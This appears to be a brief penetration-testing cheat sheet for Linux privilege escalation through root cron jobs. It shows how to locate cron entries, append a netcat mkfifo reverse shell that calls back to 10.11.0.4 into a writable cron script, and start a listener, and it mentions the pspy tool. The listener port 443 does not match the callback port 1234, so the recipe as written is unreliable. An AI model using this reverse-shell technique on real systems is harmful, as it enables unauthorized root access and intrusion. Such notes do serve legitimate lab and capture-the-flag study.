• Check for any script running in cron job with root access grep "CRON" /var/log/cron.log
• Then edit that service with any suitable reverse shell echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f" >> user_backups.sh
• nc -nvlp 443

Automation : pspy tool